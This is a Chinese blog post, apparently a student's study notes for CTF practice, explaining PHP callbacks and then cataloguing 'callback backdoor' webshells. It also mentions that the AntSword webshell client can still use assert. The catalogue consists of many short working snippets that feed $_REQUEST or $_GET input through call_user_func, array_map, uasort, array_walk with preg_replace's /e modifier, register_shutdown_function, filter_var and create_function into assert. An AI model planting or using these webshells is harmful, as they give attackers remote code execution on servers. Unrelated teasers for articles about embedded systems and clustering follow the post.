PHP的回调后门

article/2025/9/12 10:53:01

前言

今天洪学长给我留个了任务,具体的就是关于回调后门这块的内容。我关于回调后门了解的很少很少,以前做南邮的题目遇到过一道三参数回调后门的题目,当时草草了解了一下,理解的不算很深。因此今天去学习了一下回调后门的相关内容。

PHP的回调函数

什么是回调函数?

所谓的回调函数,就是指调用函数时并不是向函数中传递一个标准的变量作为参数,而是将另一个函数作为参数传递到调用的函数中,这个作为参数的函数就是回调函数。通俗的来说,回调函数也是一个我们定义的函数,但是不是我们直接来调用的,而是通过另一个函数来调用的,这个函数通过接收回调函数的名字和参数来实现对它的调用。

PHP 中的回调函数与 C、Java 等语言的回调函数的作用是一模一样的,都是在函数执行的过程中,跳转到回调函数中,当回调函数执行完毕之后,再回到之前的函数处理接下来的程序。

为什么要使用回调函数呢?

关于这个问题,我觉得下面的回答很好,虽然这是一个c++回调函数使用的原因,但是面向对象都是类似的的嘛。。可以参考参考,理解理解这个思想:

我们为什么要用回调函数呢?
记得在一次C++开发面试的时候被被一位主面官问到过这个问题,现在再回答一遍。

我们对回调函数的使用无非是对函数指针的应用,函数指针的概念本身很简单,但是把函数指针应用于回调函数就体现了一种解决问题的策略,一种设计系统的思想。
在解释这种思想前我想先说明一下,回调函数固然能解决一部分系统架构问题但是绝不能再系统内到处都是,如果你发现你的系统内到处都是回调函数,那么你一定要重构你的系统。回调函数本身是一种破坏系统结构的设计思路,回调函数会绝对的变化系统的运行轨迹,执行顺序,调用顺序。回调函数的出现会让读到你的代码的人非常的懵头转向。

那么什么是回调函数呢,那是不得以而为之的设计策略,想象一种系统实现:在一个下载系统中有一个文件下载模块和一个下载文件当前进度显示模块,系统要求实时的显示文件的下载进度,想想很简单在面向对象的世界里无非是实现两个类而已。但是问题恰恰出在这里,显示模块如何驱动下载进度条?显示模块不知道也不应该知道下载模块所知道的文件下载进度(面向对象设计的封装性,模块间要解耦,模块内要内聚),文件下载进度是只有下载模块才知道的事情,解决方案很简单给下载模块传递一个函数指针作为回调函数驱动显示模块的显示进度。

在面向对象的世界中这样的例子还真不少,造成这样的问题的根源,相信大家已经从上面的叙述中体会到了,就是面向对象的程序设计思想,就是设计模式中要求的模块独立性,高内聚低耦合等特性。

封装变化的编程策略给编程人员第一位的指导思想就是面向接口编程米,即设计模式中提到的面向虚拟编程而不是面向实现。这样的编程思想极大地革新了编程世界,可以说没有这一原则就没有面向对象的程序设计,这一原则给程序设计一种指导思想即如何更高的将现实模型映射成程序模型。这样的设计思想在极大地催生高度独立性模块的同时削弱了模块间的协作性,也就是耦合性,它使得模块间更多的从事着单向的调用工作,一个模块需要某种服务就去找另一个模块,这使得程序呈现出层次性,高层通过接口调用底层,底层提供服务。但是现实世界中严格遵循现层次特性的系统是很少见的,绝对的MVC是不存在的,因为更多的模块要求通并协作,可见没有耦合就没有协作没有好的调用关系,耦合真的不是错。

既然我们需要模块间的协作,同时我们又厌恶的摒弃模块间你中有我我中有你的暧昧关系那如何生成系统呢,答案是函数指针(不一定一定是函数指针)也就是使用回调的方式。如果一个对象关心另一个对象的状态变化那么给状态的变化注册回调函数让它通知你这类状态的改变,这样在封装了模块变化的同时实现了模块间的协作关系另辟独径的给对象解耦。

回调函数的例子

举个最简单的回调函数的例子:

<?php
$a='var_dump';
$b=array('hello'=>'world');
call_user_func($a,$b);

在这里插入图片描述

call_user_func函数把var_dump当成回调函数,后面的数组就是var_dump的参数。回调函数就是这么简单。

各种具有callable参数的函数

  • call_user_func()
  • call_user_func_array()
  • array_filter()
  • array_map()
  • uasort()
  • uksort()
  • array_reduce()
  • array_udiff()
  • array_walk()
  • array_walk_recursive()
  • register_shutdown_function()
  • filter_var()
  • filter_var_array()
    具体函数作用及使用可以自行查php手册。

回调后门

回调后门这个东西应该可以说是p神第一次提出来。并且写了一篇内容非常精彩的文章来详细的讲解这个东西。

什么是回调后门

以下是P神的原话:

php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

说简单点,就是写代码的过分相信了用户的输入,导致了自己写的具有回调函数参数的函数,里面的参数可以被用户所控制。导致别人利用这个漏洞来getshell。这个webshell就叫回调后门。

要想利用回调后面,首先就要有具有回调函数参数的函数,上文已经列出,虽然不全,但是已足够使用了。

简单的回调后门的例子

下面是一个很简单的回调后门的例子:

<?php
$b=$_GET[0];
call_user_func('assert',$b);

在这里插入图片描述
也爆出了不推荐使用assert作为回显函数的警告。
需要注意的是,我们经常用于执行php代码的eval函数不能用于回调函数:
在这里插入图片描述

单参数的回调后门

考虑到有时候我们可以传入的参数的数量是不可控的,以及有些函数要求自己的回调函数参数要具有某些参数,因此对于参数的数量进行分类。
单参数的回调后门有很多了,具体例子如下:

<?php
$a=$_GET['func'];
$b=array($_GET[0]);
array_filter($b, $a);

不过用assert不能再执行了:
在这里插入图片描述

可以查查官方手册:
在这里插入图片描述

因为太多的马用assert来执行代码,导致php7.1往后的版本里assert默认不再可以执行代码,因为php7.1以后assert也被当成了一种语言构造。但是在7.0版本里assert来可以用来当马。
虽然assert不能再用,不过蚁剑仍然可以使用它,但是编码得选择base64。

剩下的单参数例子就直接引用p神的文章了:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

双参数的回调后门

虽然assert在php7里基本没什么用,但是在php7之前可以说是一个非常重要的函数,可是在5.4.8之前仍有局限性,因为仅允许传入一个参数,遇到双参数的环境就显得非常无力。
在5.4.8以后,assert这个函数增加了一个参数,即:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
利用示例如下:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

其他的双参数例子就直接引用p神的例子了:

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

具体参考php手册:
在这里插入图片描述

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

三参数回调后门

这个典型的例子就是array_walk()或者array_walk_recursive():

在这里插入图片描述
题目可能会给数组的键,值还有userdata这三个参数,这时候我们会发现assert最多只能接受两个参数,不能利用assert。这时候可以考虑利用preg_replace():
在这里插入图片描述

因此利用/e修饰符。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。这样就实现了命令执行。例子如下:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

南邮CTF平台上面的web综合题2就考到了三参数的回调后门。
只不过在php7里面仍然略显无力。。。

还有以下利用方式:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

单参数回调后门非常隐蔽的利用

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

在这里插入图片描述

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

在这里插入图片描述
还有

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

都是一些很巧妙的方式。不过感觉自己太菜。。很难想到这些。。。。

利用匿名函数的回调后门

首先来看一下preg_replace_callback这个函数的php手册:
在这里插入图片描述
手册中也举了使用匿名函数的例子。为什么要使用匿名函数呢?主要的原因就是回调函数我们要传入assert,assert只有在接受字符串的时候才会把它当成php代码执行,但是在preg_replace_callback里传入回调函数的是一个数组,因此无法直接利用,需要利用匿名函数,使用如下:

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

匿名函数的使用如下:
在这里插入图片描述
这样就可以成功作为回调后门使用了。

后记

关于回调后门更详细的内容,可以参考P神的文章:
创造tips的秘籍——PHP回调后门

真的感觉自己现在菜的离谱,PHP还有这么多可以利用的函数,但是自己到现在还有很多函数是第一次见。能深挖回调后门的漏洞而且这么多利用的姿势,只能说狂膜P神。
学完后,对于回调后门的理解也是更深了,还是要多多运用,在实战中再次加深自己的理解,甚至自己去挖掘。


http://chatgpt.dhexx.cn/article/SSXsdWdO.shtml

相关文章

无监督学习-实战

在无监督学习中聚类分析占据很大的比例&#xff0c;所以本章主要介绍几种聚类分析的算法和字典学习。 聚类分许是统计、分析数据的一门技术。应用领域有&#xff1a;机器学习、数据挖掘、模式识别、图像分析 以及生物信息等领域。 常见的聚类分析算法有系聚类、K-均值聚类、基于…

嵌入式linux nic升级,《嵌入式Linux内存与性能详解》笔记4——性能优化

一、前言 前面讲了关于 内存 方面的优化&#xff0c;那么接下来的文章我们主要聚焦于 性能 的优化&#xff0c;那么主要体现在优化程序 速度 上。程序的 速度 很大程度上会影响用户体验或者程序的实际效用&#xff0c;所以优化 性能速度 也是程序员需要关注的一个方面&#xff…

RT-Thread-学习分析(详细版)

RT-Thread简介–>>>下载资料来源于RT-Thread文档中心 RT-Thread API参考手册 3.1.1 具体包括以下部分: 内核层&#xff1a;RT-Thread 内核&#xff0c;是 RT-Thread的核心部分&#xff0c;包括了内核系统中对象的实现&#xff0c;例如多线程及其调度、信号量、邮箱、…

Python金融股票和量化分析三方库汇总

在公众号「python风控模型」里回复关键字&#xff1a;学习资料&#xff0c;免费领取。 这篇文章为定量金融&#xff08;Quants Finance&#xff09;收集一份完整的python第三方包列表。 数据源Data Sources yfinance-雅虎金融市场数据下载器findatapy - 获取彭博终端&#xf…

【事件图谱】事件聚类

事件图谱应用的一个重要组成部分是事件演化挖掘&#xff0c;从技术实现上来看&#xff0c;文本聚类是实现话题发现的第一个阶段性工作。文本聚类的目的是把不同的文本&#xff08;资讯和标题&#xff09;&#xff0c;按照它们的相似与相异度分割成不同的类簇&#xff0c;确保相…

自然语言处理中的文本聚类

声明&#xff1a;代码的运行环境为Python3。Python3与Python2在一些细节上会有所不同&#xff0c;希望广大读者注意。本博客以代码为主&#xff0c;代码中会有详细的注释。相关文章将会发布在我的个人博客专栏《Python自然语言处理》&#xff0c;欢迎大家关注。 聚类是典型的无…

什么是嵌入式开发?初学者必看嵌入式学习课程

嵌入式技术是以应用为中心&#xff0c;以计算机技术为基础&#xff0c;并且软硬件可裁剪&#xff0c;适用于应用系统对功能、可靠性、成本、体积、功耗有严格要求的专用计算机系统技术。它最初起源于单片机技术, 是各类数字化的电子、机电产品的核心,主要用于实现对硬件设备的控…

十年经验教你如何学习嵌入式系统

一、如何学习嵌入式系统- - 嵌入式系统的概念 着重理解“嵌入”的概念 &#xff0c;主要从三个方面上来理解。 1、从硬件上&#xff0c;“嵌入”将基于CPU的处围器件&#xff0c;整合到CPU芯片内部&#xff0c;比如早期基于X86体系结构下的计算机&#xff0c;CPU只是有运算器和…

什么是嵌入式?嵌入式开发怎么学

嵌入式开发技术在近几年发展迅速&#xff0c;应用到了我们生活中的各个领域&#xff0c;行业内的人大概对嵌入式开发都有了一定的了解&#xff0c;但是对于刚刚准备入行的小白来说&#xff0c;可能对嵌入式还不是很了解。为了帮助大家更好的学习嵌入式&#xff0c;在这里给大家…

学习嵌入式必读十本书,从C语言到ARM

学习嵌入式必读的十本书籍&#xff0c;按照C语言、数据结构、Linux、C、QT、单片机、ARM的顺序给大家推荐。 01 C语言 凡是计算机、电子、通信、自动化、机械专业的同学&#xff0c;大一的时候必学C语言&#xff0c;而且大部分高校选择的教材都是谭浩强。这本书在网上的评价褒…

如何学习嵌入式Linux_韦东山

在线课堂&#xff1a;https://www.100ask.net/index&#xff08;课程观看&#xff09; 论  坛&#xff1a;http://bbs.100ask.net/&#xff08;学术答疑&#xff09; 开 发 板&#xff1a;https://100ask.taobao.com/ &#xff08;淘宝&#xff09;      https://weid…

新手如何学习学嵌入式开发?

新手如何学习嵌入式开发&#xff1f; 这个问题相信是困扰所有嵌入式初学者的难题&#xff0c;下面的内容是嵌入式学习必学的&#xff1a; C语言; C;操作系统;计算机组成原理; linux编程; 51单片机; arm;硬件编程语言(FPGA);模拟电路&数字电路。 1、cc语言&#xff0c;这是…

嵌入式如何学习

嵌入式的学习步骤如何&#xff0c;嵌入式涵盖哪些方面。 相信下面两位的回答&#xff0c;会让大家有一个基本的脉络。 著作权归作者所有。 商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 第一位&#xff1a; 作者&#xff1a;李brooks 链接&#xff1a;htt…

嵌入式到底该怎么学

想学习单片机的同学可以关注、私信我或者在评论区回复我要入门。很多人都不知道嵌入式怎么学&#xff0c;这一期我就简单说一下我的理解。嵌入式这个概念太广了&#xff0c;可能很多人认为嵌入式就是嵌入式Linux。但是其实并不仅仅只有Linux&#xff0c;像STM32&#xff0c;51单…

如何高效学习嵌入式?

近几年来&#xff0c;随着移动互联网、物联网的迅猛发展&#xff0c;嵌入式技术日渐普及&#xff0c;在通讯、网络、工控、医疗、电子等领域发挥着越来越重要的作用;随着嵌入式技术及相关产品不断渗透到人们日常生活&#xff0c;大大小小公司对于嵌入式开发人才招聘需求猛增。但…

嵌入式学习的正确方法

嵌入式专业是一门实践性非常强的学科&#xff0c;只有多动手&#xff0c;多实践&#xff0c;多编程&#xff0c;多调试&#xff0c;多看书&#xff0c;多思考才能真正掌握好嵌入式开发技术。那么&#xff0c;如何从零开始学习嵌入式开发技术&#xff0c; 进入嵌入式开发大门呢&…

使用LoadRunner-运行负载测试

1.运行负载测试 • 录制好脚本之后&#xff0c;返回首页&#xff0c;点击“Run Load Tests”&#xff1b; • 如果遇到以下问题&#xff0c;点击“Close”&#xff0c;右击桌面LoadRunner选择“以管理员身份运行”&#xff0c;如图&#xff1a; 2.运行脚本 • 点击Run Load Tes…

Ubuntu 下 CPU 负载测试

在嵌入式系统开发的时候&#xff0c;我们要评估系统散热情况需要满载测试或者测试系统调度情况需要让 cpu 满载运行的软件&#xff1a;stress 堪称利器 这个不算原创&#xff0c;只是自己偶尔用&#xff0c;经常忘记命令&#xff0c;所以记录一下&#xff0c;以后好找 stress 安…

负载测试压力测试强度测试稳定性测试

你看&#xff0c;如标题所示&#xff0c;测试可以分为这么多种。实际上&#xff0c;这只是一种性能测试的分类。按照不同的标准&#xff0c;还可以有别的划分。 1、按开发阶段&#xff1a;单元测试、集成测试、系统测试、验收测试 2、按测试实施组织&#xff1a;α测试&#x…

软件性能测试——负载测试的最佳实践

性能测试中最容易被误解的部分之一就是负载测试。大多数人认为所有性能测试就是负载测试&#xff0c;但这是不准确的。有许多类型的测试组成性能测试。在进行负载测试之前要考虑的问题之前&#xff0c;让我们仔细研究一下负载测试的基本信息。 负载测试是性能测试的子集。比如…